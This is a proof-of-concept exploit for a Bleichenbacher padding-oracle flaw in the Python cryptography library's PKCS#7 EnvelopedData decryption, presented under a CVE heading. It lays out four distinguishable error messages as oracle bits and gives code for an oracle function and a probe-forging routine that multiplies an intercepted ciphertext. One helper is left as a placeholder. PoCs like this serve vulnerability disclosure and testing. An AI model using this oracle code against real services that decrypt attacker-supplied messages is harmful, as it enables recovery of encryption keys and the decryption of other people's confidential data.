CVE-2026-69247: cryptography PKCS#7 EnvelopedData Bleichenbacher Oracle

# Proof-of-concept oracle probe loop (derived from advisory error-path analysis)
# Requires: cryptography >= 44.0.0, < 50.0.0, victim cert+key, OpenSSL < 3.2 or non-wheel build
#
# The four distinguishable server responses act as oracle bits:
#   Case 1 - ValueError: "Decryption failed."          -> RSA padding invalid
#   Case 2 - ValueError: "Invalid key size (N) for AES." -> valid RSA pad, wrong length (N disclosed!)
#   Case 3 - ValueError: "Invalid padding bytes."       -> correct length, wrong CEK (CBC unpad fail)
#   Case 4 - success                                    -> correct CEK
#
# Attacker probes with a modified encryptedKey blob and classifies each response.

import os
from cryptography import x509
from cryptography.hazmat.primitives.serialization import pkcs7, load_pem_private_key
from cryptography.hazmat.primitives.serialization.pkcs7 import pkcs7_decrypt_der

def oracle(enveloped_der: bytes, cert, key) -> int:
    """Returns 1-4 matching the four advisory error cases."""
    try:
        pkcs7_decrypt_der(enveloped_der, cert, key, [])
        return 4  # success -> correct CEK
    except ValueError as e:
        msg = str(e)
        if "Decryption failed" in msg:
            return 1  # RSA padding invalid
        if "Invalid key size" in msg:
            return 2  # valid pad, bad length -> msg leaks N
        if "Invalid padding bytes" in msg:
            return 3  # correct length, wrong CEK
        raise

# --- Bleichenbacher iteration skeleton ---
# s = initial multiplier; c0 = intercepted ciphertext
# Each oracle(forge_enveloped(c0, s, victim_pub)) call narrows the interval
# for the PKCS#1-conformant plaintext until CEK is recovered.
# Full attack: ~2^20 queries for a 2048-bit RSA key.
def forge_enveloped(c0_bytes: bytes, s: int, n: int, e: int) -> bytes:
    """Wrap probe ciphertext (c0 * s^e mod n) into minimal DER EnvelopedData."""
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
    import math
    c0 = int.from_bytes(c0_bytes, 'big')
    probe = pow(s, e, n) * c0 % n
    probe_bytes = probe.to_bytes(math.ceil(n.bit_length() / 8), 'big')
    # Build bare-minimum DER EnvelopedData with probe_bytes as encryptedKey
    # (real exploit wraps in full ASN.1; omitted for brevity)
    return _build_enveloped_der(probe_bytes)  # placeholder